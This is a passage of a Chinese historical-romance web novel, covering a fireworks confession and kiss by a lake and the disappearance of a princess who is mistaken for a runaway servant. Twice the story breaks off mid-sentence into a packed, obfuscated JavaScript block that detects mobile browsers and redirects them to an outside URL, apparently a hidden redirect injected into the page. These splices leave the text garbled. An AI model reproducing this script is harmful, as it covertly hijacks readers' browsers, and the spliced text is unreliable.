谢珩前脚刚回府,王管家便将他请进前厅:“少爷,夫人等你多时了。” “嗯。”来不及换衣,谢珩直接随他前去。 李立雯端坐于椅子上,手中长安城姑娘们的画册翻了四五遍,终是没想明白珩儿到底相中了哪家姑娘。 抬眼见他而来,她遣散了身边的婢女和家丁:“珩儿,坐。”接着从怀中取出那封信,置于他面前,开门见山,“既然有了心仪之人,便早早定下吧。” 谢珩直言:“我确有一心仪之人,但尚不知她对我作何看法,所以我需先得到她的首肯。” 李立雯不可思议地望向他,因着自小的教养压下心中的怒气,但说出口的话音仍高了几分:“婚嫁大事需由双方父母合定,你同她能商议出什么,”她肃整衣裙,“何况,哪家姑娘竟是我们国公府都高攀不上了?” 谢珩:“待一切尘埃落定,我自会对母亲和祖母有个交代,只是并非今日,我还有要事,暂不能陪母亲多言。”他说罢行礼而退。 “珩儿!”李立雯起身,他却并未停下脚步。 她像泄了气一般,用手抵着太阳穴,闭眼深吸一口气,另一手撑着桌案才稳住身形,终是儿大不中留。 但他竟...竟然要询那女子的意见! 实在是荒唐至极,她十六岁嫁于晋国公,从来只知“父母之命媒妁之言”,何曾见过哪家儿郎亲自去问姑娘心意的?这哪是求娶,简直是胡闹! 但珩儿提及口中心仪之人时,那眉眼间的光亮却恍然让她记起那捧着夜明珠说着:“雯儿的眼眸远胜这莹莹之光,照我幽怀。”的人,喉间蓦得发涩,若有人当年问过她的意见。 她掐灭脑中一闪而过的念头,宗族颜面自然远胜于儿女私情。 —— “谢姑娘,多日未见,可还安好?”高义信先行一礼。 “有劳高公子挂念,一切都好。”沈昭寒暄道,突然记起院中她留着的茶树枝条,“高公子,烦请你等我片刻,我有事请教。” 他还未开口,便见那一抹倩影风风火火地跑回府中,衣袂翩翩,比檐上的雀儿还灵巧,他不由得紧握住手中玉佩,唇角弯起明媚的弧度。 午后他才被高峻催着上心,之后又独坐在房内做了一番心理挣扎,同母亲讨要了家传玉佩用过饭后,及至晋国公府已近戌时。 沈昭仔细妥当地包好茶树枝,瞧见府前大门上挂起的灯笼,心中闪过一丝担忧,她问道:“高公子,如今几时了?” 高义信大概推断:“应该已是戌时三刻。” 那距离谢珩同她约定的时间还有两个小时,本应该来得及,可高义信要前去的食肆离碧水湖相去甚远,只怕来不及,她便提议:“要不我们去碧水湖边走走吧。” “也好,全依怀瑾所言。” 两人步行至碧水湖边,高义信的手一直摩挲着玉佩,恨不得要将那上面的纹路磨平,却迟迟不开口。 沈昭:“高公子今日找我,所为何事?” 高义信抿唇不语,指尖都要掐进肉中。 见他有难言之隐,沈昭不想为难他,从身后抽出茶树枝:“那既如此,我先说吧,高公子可见过此物?” 像落水的人抓住一根浮木,他的手接过枝条,细细打量后:“我倒是在书中见过此物,不知怀瑾从何所得,这茶树在长安城附近好像并不多见,但若以其叶浸于水中,据闻可解毒,若是能得适合的土壤和环境,将其扦插繁殖,也许有成活的可能。” 沈昭眼眸闪着光,可见他对茶树了解颇多,甚至对茶树培植都有所涉猎:“太好了!高公子,我确是有意向在长安城附近栽植茶树,这茶树枝是从南方香客送去灵山寺的,茶饮日后定会在长安城中兴盛,这可是一桩好买卖,若是能借公子之力,日后若有所得,我们平分如何,或者你六我四?” 高义信轻笑出声:“怀瑾言重了,我只是平时摆弄些花草,这茶树能否成活还需细细研究和尝试,你高看我了,我只能尽力尝试,这茶树枝由你所得,若是侥幸成了,功劳亦不在我,日后所得怀瑾自留便可,我岂能抢占。” “是,全由高公子尝试,不必有任何压力,只当消遣便是,”她念着不能急于一时,高义信虽不图名利,但能否成功,如何分钱都是日后的话了,这仅作第一步。 高义信将茶树枝妥善收好,还连连夸赞她,若非她保存妥当,他也没有太大把握。 沈昭的事了,她一时无言,又不想催促高义信,无声望着湖面等他开口。 湖面上映着远处的烛火,波光粼粼。 两人并肩而立,沈昭指尖无意识地摩挲袖口的绣纹,软纱与肌肤相触的细微声响,在两人之间的静默中被无限放大,倒更添几分尴尬,她向左右望了望,仍没见谢珩的身影,既然高义信不好开口,不如改日:“高公子,我一会还有事。” “怀瑾。” 高义信忽然开口,攥紧手中的玉佩,声音却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737322|171504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻得怕惊扰了湖面的层层涟漪。 —— “昨儿瑾儿夜深被饿醒,我今日特意吩咐厨房多做了些,可惜她有事出府了,还好你轮值休息,便好好在家吃个饭,多陪你祖母说说话。”李立雯给谢珩添了一碗汤,放于他面前。 “好。” 谢珩却用得很急,几口便将冒着热气的羹汤饮尽。 “你这孩子,又没人同你抢。”李立雯在一旁劝道。 谢珩的心思却全然不在此,因着杨方多舌,转头便将他今日休息的事告诉了夫人,他回府取东西时,被正巧拦下,哪怕李立雯已经用过晚膳,亦忙着张罗上菜。 可眼下时辰已近亥时。 桌上摆满了珍馐,但他却食之无味,喉结一滚,掩于袖中的掌心已渗出了薄汗。 街上更夫梆子恰巧在此时敲响,惊得他指尖颤动,他手中握着的瓷勺垂落于碗中,碰撞叮当脆响:“母亲,我还有要事,先行一步,您慢慢吃。”说罢站起,深色袍角轻拂过桌案,刚放下的瓷勺仍在碗中打转,他直接飞身出府了。 李立雯望向他在檐上的身影:“珩儿!” 更夫梆子声响后,杨方拿出准备好的香,将其点燃,依谢珩交代,待此香燃尽时即可行动,他搓热掌心跃跃欲试,这可是关于少爷的大事,他绝不能有任何疏忽。 黑暗中,那一星光亮静静燃着。 沈昭同高义信还在湖对岸站着。 沈昭听到打更的声音:“几时了?” “亥时。” "高公子,若是你有事不便直言,不若改日?"沈昭话语间不由得急了些。 高峻的话音犹在耳,他从腰间取下被他掂量了一路的玉佩,上面还挂着他手心的汗:“这是我高家传家的玉佩,我...” 杨方眯起眸子看清湖对岸站了一男一女两人,随着那最后一星光亮陷于黑暗中,他抬头指挥:“放。” “嗖——”的一声锐响,漆黑的夜空骤然被几道金痕划破。 她尚未来得及抬头,整片湖面已“哗”地亮起,千万点火星在穹顶炸开,化作漫天斑斓的花雨倾泻而下。 星月在这一瞬黯然失色,漫天燃烧着缤纷绚烂的花儿。 一朵银莲花浮在空中,开到最盛时,忽然噼里啪啦散作漫天星辰,纷纷跌入水里,惹得水中鱼儿惊跃,溅起一串晶亮的水珠。 她仰头去看,最大的一簇烟花在夜幕中轰然绽放,绯红与靛蓝交织成曼陀罗纹,倒影在她亮晶晶的眼眸中,漫天星辰不及她眼中璀璨。 高义信亦被这眼前的景象惊愣在原地,若非节日庆典,他还从未见过如此盛大的烟火。 他鼓足勇气,递出玉佩:“怀瑾,自我初见你时,便一见倾心,这是我高家家传玉佩,若你收下,我会改日让我父亲登门下聘,若你...”他一时语滞,并未想过她会拒绝。 他们身后,谢珩从天而落,脚尖触地的瞬间,高义信话音刚落。 他的漆眸中登时染了一层霜,漫天烟火亦无法将其渲染,他盯着前方的两人,不由得攥紧拳头。 36. 第36章 高义信的侧脸被空中的烟花映至昳红,眼眸中的真挚依旧,双手紧握着玉佩,尽量保持不抖。 听闻他的话,沈昭轻转身子,看向高义信。 在她开口前,谢珩并没有多作停留,拂袖转身而去。 他不想听,亦不敢听。 这是属于他们两人之间的事,虽然借了他布置的局,但他不想听到她的回答。 论样貌学识,高义信在长安城并不差,甚至可算得上翘楚,他不像他兄长一样肆意不羁,又不似他一般拘谨克制。 罢了,他本就和她没有任何关系,更无权干涉她的选择。 亥时三刻,他来迟了一步,她的身旁好像便没有他的位置了。 —— “你我既结为夫妻,你还有何事瞒我!”夏目冲着惊云说道。 这几日惊云寸步不离陪在她身边,说起衙内的事,他只道自己请了个长假,回家娶亲,但她心中总是不安。 惊云扶她坐下,安抚道:“娘子,你只是最近太累了,加上刚有身孕,难免心绪不佳,一会我再带你去医馆开几副调理身子的药,是我之前做的不对,没有时间陪你,但如今我多陪着你和孩子,还是我的错了?你别疑心太重了。” 夏目没有受他蛊惑:“那我们今日便回长安。” 惊云好声好气道:“我还不是怕你刚怀有身孕,胎像不稳,怕日夜奔波累着你和孩子,”他的耐心不多,劝说着话语间渐渐带了怒气,“你怎的这般不信任我。” 夏目拉着他的手坐下,声音软了下去:“是我不对,最近夜里总是睡不着,可能还不太习惯吧。” 两人重归于好,惊云唇角带过一丝得逞的笑,只要能保住这个孩子,待脉象安稳无忧,月份再大些,不能流掉时,便可踏上回长安的路了。 长安城最金碧辉煌的宫殿——严清宫内。 景明帝怀中揽着如贵妃,长乐公主李玥的生母,亦是宫内最得宠的妃子:“怀如,最近怎的不见玥儿了,我特意吩咐小厨房做了她喜欢吃的糖糕。” 如贵妃弯着的眉眼染上一缕忧愁:“自是有了女儿家的心事,前些日子还特意冒雨跑去灵山寺求签,往日她最是厌恶这些,邀她陪我去清修几日调养生息都不肯,有了意中人,可全抛诸脑后了。” 李玥身旁一直有婢女侍卫看护,她何时出宫见了哪些事,自会一一禀告给她。 这长安城内哪家公子都好,可李玥偏偏看中了最是风流的高峻。 如贵妃这几日忧思伤神,她膝下仅李玥这一个孩子,高相虽现下位高权重,但朝中实力错综复杂,若高家败了或者哪一天得罪了圣上,李玥哪怕有公主的身份作为倚仗,但终究前路不明。 李玥自小就没吃过苦,千娇百宠,性子亦不是爱出头争胜的,万事都没个主意,偏偏却看上了高峻,像一头憋着劲儿要撞南墙的小牛犊,拉都拉不回来。 她知她这几日出宫频繁,是为着高峻,特意让夫子多留了些课业,将她留在宫内,少去见那人。 哪有永远不败的花呢,她亦是凭着圣上的恩宠至此,她只想为李玥谋个清白稳妥,无忧无烦的婚事,怎的如此难。 景明帝知他的心事,亦对高峻有几分了解,他安抚道:“高家家世煊赫,高相又是朝中老臣,若玥儿入府,自然不会亏待她。”嘴上虽然如实说,但以高峻的性子,能否全意待李玥,哪怕他九五之尊,亦不能轻易断言。 纵然他下旨赐婚,高家不敢拒绝,但威逼之下的谋和又有几分真情,他开口:“高峻虽然为人稳重不足,但他那个弟弟性子倒不错,若是让玥儿多同他弟弟接触一下呢,孩子嘛,总得多看看,岂能被一张巧嘴迷了眼, 玥儿久居于宫中,少见外男,多派几个人随她走走也好,她如今觉得高峻好,或许过几日又转了性,也未可知,亦或者朕让礼部挑个日子,让他们进宫,给玥儿相看一下。” 如贵妃得了景明帝的话,起身盈盈一拜:“还是皇上待臣妾好,谢陛下开恩。” 通传太监刚抬起的手还未贴上门扉,景明帝和如贵妃的话便传到殿外,面上一哂,犹豫着要不要开口:“殿下,这...” 李玥彼时站在殿外请见,还未得通传,却先将他们的话听入耳中。 她的心思不愿刻意瞒着父皇母后,但她亦没想到,她和高峻之间最大的阻碍竟是疼爱她的至亲。 “不劳烦公公了,今日就当没见过我吧。”李玥失望转身,朝自己寝殿走去,步伐愈来愈快,她不想,也不愿去相看。 她认定一人,便就是他。 在宫里,她见过太多明媚娇艳的花失去色彩。 初入宫的才人眼眸莹亮地望向她的父皇,她的父皇赏之以金银玉帛,可是不出几月那女子眼中的光便暗了,如此反复,哪怕她的母妃盛宠优渥,她甚至在母妃眼中亦见不到那样的神采。 她不想,若不能嫁给她在意之人,活着还有什么意思,不过三餐四季,寥寥此生。 她的拳头不由得捏紧,心里萌生的种子破土而出,她不想自己一切都暴露于他们眼中,她既没犯错,父皇母后不能拘着她。 —— 今日谢珩提前在衙里安排妥当,不会巡值,但当他在碧水湖边独自转悠时,仍被眼尖的金吾卫认出:“那不是将军么?” “快快,整肃仪容,把你的刀佩好。” 他们整齐地走上前,立在原地抱拳一礼:“将军!” 谢珩垂眼,与他们擦肩而过,完全未将他们放在眼中。 队末的人扭头去看,低声说:“上次我哥听闻隔壁他爱慕的姑娘要嫁人时,就是这般模样。” 为首的一巴掌落在他头上:“胡说什么呢,将军一心公务,哪有功夫囿于儿女情长,少胡作揣测。” 烟花渐灭,幽深的夜又复归于寂然。 谢珩才抬眸看到一旁窃窃私语的金吾卫,踱步上前:“我从前方而来,这儿并无异常,去那边看看吧。” 众人蹙眉紧随其后,嘴里小声嘟囔:都怪你...将军今夜不是不来了...少说两句... 一行人走在寂寥无人的街市中,只有身上的铁甲轻碰发出铿锵有力的声音,谢珩漫无目的地走着,脑海中却始终划过高义信的话,她会如何回他? 直到有力的手臂将他拦下:“将军,再走便到了万寿坊了。”他身后的金吾卫以此为界巡值,不能再往前走了。 众人纳罕,心中有疑,但不敢多言,似是往日他那坚挺的脊背亦不觉弯了半寸。 谢珩敛下眼眸:“那便往回巡。” 兜兜转转一圈,又绕回了碧水湖,湖面的水汽将空气濡湿,谢珩放缓脚步。 水中晃动的弯月,经风拂过,便虚了月影,如梦似幻。 刚才站于此的两人早没了踪迹。 谢珩遣了其他金吾卫:“你们去那旁吧,不必管我。” 他寻了一方青石,屈膝坐于其上,湖边的芦苇丛中还弥散着烟火燃尽的硝烟味,零星几点烫得芦苇弯下了腰。 身后细碎的脚步走近,他强忍住心中的不耐:“不是刚说了,去别处巡。” “好呀,兄长,你既然满脑子都是巡值,何必邀我至此,我等了你这么久你才来!”沈昭气急,绣鞋灵巧地一抬,踢起脚边的一颗小石,直愣愣砸向他的后脊。 虽不至于拿他撒气,但她心中仍畅快不少。 哼,该,让她等了这么久! 难怪加冠之后还至今未娶,有谁会喜欢一个爱失约的闷葫芦。 再听到她熟悉的声音,他浑身血液仿佛都凝在原地,忘了流动。 月下,沈昭一袭荷粉色衣裙,正置气地双臂交叠抱于身前,努着嘴秀眉紧皱。 “你不是已经随高义信走了?”谢珩起身,克制着脚步,不敢轻易向她走近。 沈昭:“我自是言而有信,既约定了亥时三刻相见,岂会轻易离开,我可不像某人,心心念念全是值守,罢了,你要是无事,我就走了,你继续巡值吧。” 沈昭心中的期待莫名落空,她纠结了一天的事不过是她的推测罢了。 “高义信回去了?”谢珩突然出声,但说出口的话却言不由衷。 长安城治安颇严,他又不是三岁孩童,岂会走失,何况他回不回府与他何干。 沈昭恍然,原来他并非失约,是看见她同高义信在一处,便不再去打扰,此举倒像他所为,她心中的气消了几分:“他走了有一会了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742671|171504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 记起刚刚漫天的烟火,哪怕她在穿越前也很少见到,她心中感慨:“可惜,你刚刚走了,错过了一场烟花,特别美,我觉得足足放了有十多分钟呢,不知是哪户人家如此大的手笔。” 谢珩默然几息后:“在长安,烟火统一由礼部管辖,另在各处设专门的燃放点,寻常百姓不得私自燃放。” 那是宫里的宴会?可宫中活动,谢珩该会参与吧。 她不懂其中的礼制安排,更不懂他的言外之意。 谢珩望着平静无波的湖面:“若是朝廷官员因私使用,逐级上报至少需十日,但直接奏请圣上,便可略过其中的曲折。”往日景明帝赏赐他时,他不求金银绢帛、不图名利,今日主动提及有事相求,圣上自然愿意了他一愿。 沈昭有一搭没一搭地听着,心思却全然不在如何奏请上级之上。 但经他如此一番解释,倒明了这人定花费了一些功夫,倒让她白捡了个便宜。 她不动声色地觑了他一眼,自遇到他之后,她的运气真的一改往昔:“那我可真是太幸运了,如此盛景被我巧遇。” 湖面上的硝尘散尽,浮着一层薄雾,将残尽的硫磺气味裹得若有似无。 青黑幽深的湖中,映着一弯月,苍穹低敛沉寂,仿佛刚才那场金辉交错的喧嚣从未发生。 湖边草丛中还散着几片爆竹的残片,被露水打湿。 谢珩蹲下身子捡起,双指轻碾,喉间哽着的半句话,被方才的喧闹炸得粉碎。 残片将他玉白的指尖染红,他忽地用力,恨不得将其揉碎在指尖,抬眸的瞬间他掷出手里那片碎红,提步向她走近:“沈昭,那不是巧合。” “嗯?”沈昭撞上他的目光,他的深眸比幽潭更黑,像两泓静水,却燃着最后一星未烬的火。 “是我,亥时三刻以更鼓为信,河对面的烟火是我命杨方放的,昨夜我虽喝了些酒,但去寻你时,早已清醒,我虽不详知九州的习俗,但我所作和今夜所言,皆是我本心,你我并非兄妹,何况你不是御风的未婚妻,”他顿了顿,眸色更深,“哪怕你是...他既身死,又已入土为安,你亦不是非他不可。” 湖上的雾气仿佛笼在他眸间,他喉结滚动数次,终于一字一句道:“我不知这可否算你所指的表白,你可愿意?” 他眼眸中此刻灼灼燃着的光铺天盖地落在她身上,比空中的烟花更甚,烫得她耳尖发麻。 那些她未闻未见的一切,都是他内心克制不住的悸动。 湖面掠过一阵风,将他未束好的一丝乌发吹到她脸颊,痒丝丝的,像他小心翼翼的靠近和试探。 他忽地握住她的手腕,力道很轻,像捧着一汪随时会散的水,从怀中取出他准备好的印信放在她手上:“我为官这些年攒下的俸钱都存于钱庄,这是我的私印,凭此可随意取用, 若你觉得麻烦,这是契书,只需你在此签字,钱庄的钱便可尽数划于你名下,这是府中库房对牌,凭它可开府库,圣上御赐的绢帛金银都在其中,只要拿着对牌,府内的东西任取。” “若你不喜长安的礼节和规制,我会试着去了解和适应九州的一切,依着你当地的习俗。” 谢珩屏着呼吸凝望着她,握着她的手微微颤动。 他大概是疯了,哪怕知她最初只是因着银钱才同他签下契书,走进国公府,闯入他的人生。 哪怕他自幼诵读的诗书便是克己复礼、男女有别,但一想到她和高义信相处的点滴,他仿佛被利剑穿身,逼得他无法喘息。 他不想可悲地在一旁假装淡然。 今日这礼不能越他也越了,话反复滚过喉咙,刻在心间,他只等她一句答复。 沉甸甸的重量压在她手,比这更重的是他满心满怀的真挚。 她不知她曾经随口而言的话被他听进去了几分,但他笃定的眼神却让她清晰地听到了自己的心跳。 何来这么多的“不期而遇”,不过是有人算尽时辰、踏破月影,偏要候在那转角处。 世间风月,从来都是有心人的步步为营。 沈昭轻握住手中他交与的印信,踮起脚尖,另一手忽地将他的袖袍扯到身前,在他唇上落下一吻,一触即离:“这就是我的答案。” 37. 第 37 章 谢珩眸色蓦得转深,一把扣住她的皓腕,将人带入怀中,青丝交缠间,他俯身低头,本能地扣住她的腰肢,掌心下的软纱轻薄微凉,但掩于其下肌肤的温热却蔓延至他的手中。 与她的浅啄不同,他稳稳地封住了她的唇,这回吻又深又重,辗转撕磨,她的长睫轻颤,似扫在他的心间,丝丝麻麻若触电般。 他便更予取予求,大胆地启开她的樱唇,放肆地含住她的下唇轻吮,听得她喉间冒出的那声轻哼,身下的火登时又燃了几分,他霸道又柔软地撬开她的贝齿,舌尖细细扫过她的每一寸柔软。 另一只牵着她的手情不自禁地抚上她的后颈,指尖陷入她如瀑的鬓发间,不容抗拒地将她按向自己怀中。 她被他吻得身子发软,贴着他宽阔的胸膛,他身上的炽热灼得软纱都带了温度,攥着他前襟的手指骤然收紧,锦缎被她揉成一团乱纹。 唇脂上甜香扑鼻,在舌尖含着淡淡的甜,比昨夜的烈酒更醉人。 沈昭被他吻得喘不过气,口中轻声呜咽着试图推开他,反激得他将她抱得更紧。 直到她眼尾泛红,轻咬他的唇瓣,他才微睁开眼,见她眸含秋水地凝着他,像被雨水打湿的小鹿祈求猎人的留情,他才不舍退开,却留恋地在她眼角留下一吻,手却拥得她更紧。 她脚下发虚,被他拥着坐于一旁的大石上,青石沁凉,却凉不透他们身上的热。 沈昭靠在他胸前,听着他声如擂鼓的心跳,呼吸随着渐渐轻缓。 她假扮作他妹妹入府,起初只求在这陌生的长安安身立命,挣些钱财,图个自保。 但谢珩雨天时主动弯下的腰、执笔间自然不经意的触碰、醉酒后的情难自已,桩桩件件都在提醒:这场戏,早就越了界。 更鼓声响打破了夜的静,将她的思绪拉回,她缓缓直起身子:“我该回府了。” 怀中人抽身而去,冷风残卷,谢珩空落落的,还想再去牵她的手,但远处的铁甲声入耳,他起身肃整衣袍,不舍地错开目光:“去吧,我稍候便回。” 他今日本就没有公务在身,不欲多做交代,同她拉开距离,看着目之尽头的她,在后跟随,护送她回府。 吹了半晌的风,但沈昭头脑仍蒙蒙的,还不由得她理清同谢珩之间的纠葛,便已然走到国公府门前,她拎着裙角悄声回了房。 谢珩在她入府之后,过了约莫半柱香的时辰,才进了府。 次日一早,院中洒扫的婢女们笑颜若花,小声议论着:“ 小姐可真是福星,自她回府后,老夫人的病情好了,我瞧着少爷心情更好,今晨少爷练剑的时候都在笑呢!” “是嘛!”她满怀好奇问道,“少爷到底是笑起来更好看,还是不笑好看啊,我还没怎么见过少爷笑呢,不对,我都没怎么在府里见过少爷,往日他忙于公务,连夫人都甚少见他吧。” “我瞧着少爷小姐的感情也极好,我若是少爷,整夜巡视都烦了,哪还有心思陪小姐外出游玩,何况长安城有何不同,没什么可逛的去处呀。” “咳咳。”王管家的声音在她们身后响起。 两个婢女回头,李立雯正站于她们身后,眼中无神,心里却反复琢磨她们两人的话。 自从瑾儿回府,国公府同往日大有不同,除了阿姑的身体,最大的变化莫过于珩儿。 珩儿和瑾儿。 她将这一对名字反复咂摸在唇边,心霎时慌了,耳边嗡得一声,抖着手扶在廊柱上,头上的金簪晃乱了青丝。 “夫人,您没事吧。”王管家虚抬着手,站在她身后。 李立雯摆摆手示意他们退下,婢女垂首随王管家离开,王管家摇着头,小声提点他们:“莫议论主子长短。” 李立雯稳了稳身形,轻扶头上的金簪,怎么可能,珩儿一向知礼有节,绝不会犯如此大错。 瑾儿性子活泛,两个人走得近了些罢了,何况当初还是她催着珩儿带她熟悉长安城的生活。 可怀疑的种子一旦播撒便会悄然滋长。 —— “小姐,府外有个丫头哭得厉害,吵着闹着要见你,赶也赶不走。”春宁急匆匆从外来报,她本想让家丁将其打发了,但那丫头看着年岁不大,哭得实在令人心疼,她犹豫再三,决定先让沈昭知晓。 “带我去看看。”沈昭跟着她匆匆出府。 还未踏出府门便听到一个女子的哭声,她被府内侍卫架在一旁,周围还围了一圈百姓,眼看围观之人越来越多。 春宁和夏安为沈昭拨开人群:“请让一让。” 眼前的丫头发髻都散乱了,坐在地上低头哭得厉害。 沈昭蹲下身子,上前拍拍她的肩:“姑娘,何事哭得这么伤心,你寻我?” 听到她的声音,那姑娘抬起头来,小脸哭得通红,眼都哭肿了:“谢小姐,求你救救我家公主吧。” 沈昭当即认出她是李玥身旁的婢女采薇,她忙扶采薇起身,将她带回房中:“快,随我去府里说。” 她们回房后,春宁去备好热水和帕子,夏安将四周的窗户紧闭,两人在外守着。 采薇哭得嗓子都哑了几分,她大喘着气,断断续续说道:“公...公主昨夜溜出宫,至今未归,我跟着公里的车驾溜出来,可是...我找不到公主了。” 沈昭听罢,耳边嗡嗡作响,手中递给她的杯盏险些撒了。 采薇继续说:“昨日,不知公主听闻陛下和娘娘说了什么,下午偷溜出宫,说去找高家公子,可是直到宫禁都还未归,公主让我们不要声张,我今早出宫,却在高府门前被拦住,他们不让我进府,我只得来寻谢小姐。” “走,你同我一起去高府找玥儿,”沈昭顾不得多想,安排马车带她们出府,当务之急需先找到李玥。 采薇抹了把泪,速速跟上。 两人出府时,车马已停在门前,她用手扶着车辕,一脚踩在马凳,因着走得急,脚下马凳不稳,她指节发力紧抓车木,仍身子失重,向侧方歪去。 斜里探出一只骨节分明的手,稳稳地托住她的腰肢,将她扶稳,而后那手又自然地收回,负于身后。 沈昭扭身看到谢珩,他恰在门前,见她如此慌张,险些摔倒,忙上前扶了一把:“你这是要去哪?” “公主走丢了。”沈昭俯身在他耳侧轻言,顾不得同他多解释,以最简洁直白的方式告知他。 他眉间轻折,不作多想,扶着沈昭上车,安排采薇回宫,若是公主回去了,令她可告知今日值守西重门的金吾卫,以便互通消息,他跳上马车随沈昭一同前往高家。 车夫快马加鞭赶往高府。 采薇吸吸鼻子,心里祈祷公主定会安然无恙,目光追随马车远去的方向。 在她身后的晋国公府匾额之下,李立雯搭在门边的手捏得骨节泛白,看着眼前的一幕,眼中全是震惊和痛心。 马车上,沈昭将采薇同她所讲的前因后果大概说了一番,她的两手不住揉搓,连衣裙都搓皱。 李玥不能有事。 许是受着她曾看过的故事影响,她甚至不敢去想若是她遇到歹人,这一夜她会经历何事,她年岁尚小,从小又未经历过任何挫折,她无法想象若是李玥出事,她该如何自处。 是她对不起李玥,若非她应下她的心愿,帮她遮掩隐瞒,接近高峻,她便不会冒险出宫,至今下落不明。 强烈的自责和愧疚萦于她的心间,她的身子不住地发颤。 谢珩将手搭在她手上,揽过她的肩,轻拍着安抚:“放心,公主不会有事。” 马车很快到了高府前,谢珩跳下马车,待回身去扶她时,她亦扶着车辕跳下,直入高府。 因着高峻同他们来往甚密,侍卫认出他俩:“谢公子、谢小姐。” 她们站于门前:“我们有急事要见高峻,还请代为通传。” 侍卫见他们来得匆忙,又知谢珩身 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高峻怔在原地,细思这前因后果,仍恍若梦中。 谢珩和沈昭转身上了马车,经他们商议,谢珩去左衙集结人手,沈昭回府等消息,一旦得到消息及时互通有无。 沈昭仍不放心,公主走失快一天了,此处既无监控又无人知晓她的行踪,就连谢珩的妹妹亦至今下落不明,她一股脑儿地想到所有最坏的可能:“若公主被拐骗到其他州郡,该怎么办?” 她思虑再三提道:“我觉得此事不该隐瞒皇上,何况这件事瞒也瞒不住,哪怕耽误一秒,都不知李玥会受到何种伤害。” 谢珩亦考虑过,若是全面封锁长安城,需要圣上下旨或出示宫内令牌,但他调集金吾卫便需耗费精力,可再临时进宫面圣,只怕又耽搁不少功夫,他将心中盘算一一说与沈昭。 沈昭:“你母亲是李玥的姑母,也是圣上的妹妹,若是由她进宫知会圣上,如此便不两相耽搁了。” 谢珩:“这确是当下最快进宫的法子。”但谢珩亦有他的犹豫,在他幼时的记忆中,母亲出阁后从未进过宫,世人皆论她可明哲保身,但在波云诡谲的宫廷中,若非亲身经历,他们并不知其中曲折。 沈昭看出他的犹豫,因着不知内情,只以为他怕李立雯迁怒于他们,开口说道:“上次李玥入府时,母亲对她颇为宠爱,如此要紧关头,母亲肯定以先找回她为重,你去寻人吧,府里有我。” 临下车前,谢珩安抚她:“公主定会无事,在长安,因欠债或犯罪可能沦为官奴或私奴,但这种奴仆的典卖属于正经行当,且需要签契,在官府备案,” 但自他升为金吾卫大将军后,捣毁了几个非法黑市,据他所知,长安城内暂无非法贩卖人口的行当,“我若有消息会第一时间传回府中,让你安心。” 既他如此说,沈昭便愿意信他:“好,那我去知会母亲一声,请她入宫。” “嗯。”谢珩先一步下车进了左衙,两人分头行动。 自他们走后,李立雯坐立不安,她闭上眼眸认真回想瑾儿失踪那年的模样,却愈发模糊。 眼前的谢怀瑾由珩儿带回,她彼时便信了几分,珩儿自小谨慎,她从未想过珩儿会联合外人去欺骗她,这究竟为何! 还是只是她的多心罢了,她一时拿不准主意,又无法同旁人诉说。 正在这时,婢女来禀:“夫人,小姐有急事寻您。” 李立雯绞着帕子的手紧了紧,靠在木椅上正了正身形:“请小姐进来。” 沈昭入内,吩咐婢女暂时退下后,直直跪在地上,垂首说道:“母亲,长乐公主自昨日出宫后走失,至今下落不明,音讯全无,还请母亲作主,速进宫禀告圣上,求皇上下令封锁长安城,找回公主。” 李立雯拍案而起:“什么!” 38. 第 38 章 “大哥,这能行么?” 站在一旁的王五解开麻袋,里面的女子似是完全昏过去了,脸上虽然沾了些灰,仍能看出是个粉雕玉琢的姑娘。 李三啐了一口:“这有什么行不行的,老赵家的闺女敬酒不吃吃罚酒,既然都签了契书,被卖入大户人家做丫鬟了,让我亲一口能少块肉?哭哭啼啼要死要活的,晦气。” 李三和王五是同乡,因家里发了水灾,跑到长安城务工,在官牙李曦手下办事,李曦是长安城的官牙,主要负责验证奴婢、妾婢的来历是否合法,并在官府登记备案,因着诚信且不会高价讹诈,在长安城颇有名气。 李三家贫一直没娶上媳妇,带人签完契书后,本约定明日进府,牛车上仅这一个姑娘,他一时起了歹念,本只求一亲芳泽,那姑娘又岂会受他无辜欺负,咬了他一口从车上滚下,摔到碧水湖里去,连人影都不见了。 他一时慌了,正巧见这小姑娘主动向他们问路,总归契书上没有画像,能抵一时便是一时,明天他得把人交了。 瞧这姑娘细皮嫩肉的,看得人心痒痒,但他有了一次教训,只得压下心中的火,威胁王五:“一会儿见了李爷,你就说这姑娘路上从牛车上摔下来,摔晕了,记住没。” 王五他们第一次出工就捅了这么大篓子,吓得魂儿都没了,他一边给李玥松绑一边说:“可她明日醒来,咱们不还是瞒不住。” 李三一脚把他踹到地上:“你就这点胆子,到时人都送进府了,与咱们何干,咱们就是个跑腿的,她爱咋闹咋闹,关咱们屁事,你给我把嘴闭严实了。” 王五捂着屁|股从地上爬起,不敢多言。 两人驾着牛车回去,恰逢李曦刚谈了生意回来,他这几日缺人手,临时雇了他们,但总归不是自己亲自带出来的,哪怕提前让他们知晓道上的规矩,又总放不下心,尤其是李三,看着本分老实,但那小眼滴溜溜转不停,心中小心思不断。 他们正扶着昏迷的李玥往里走,李曦抬眼扫过他们,出声打断:“慢着,这姑娘怎么了?” 李三知道指望不住王五,笑着说:“李爷,在车上没坐稳,从牛车上摔了一下,晕过去了。”一边递上签好的契书,“您瞧,已经和蔺府签了契了,明日给他们送去。” 李曦扫过纸上的字,问道:“你们入这行时,之前讲过的规矩还记得么。” 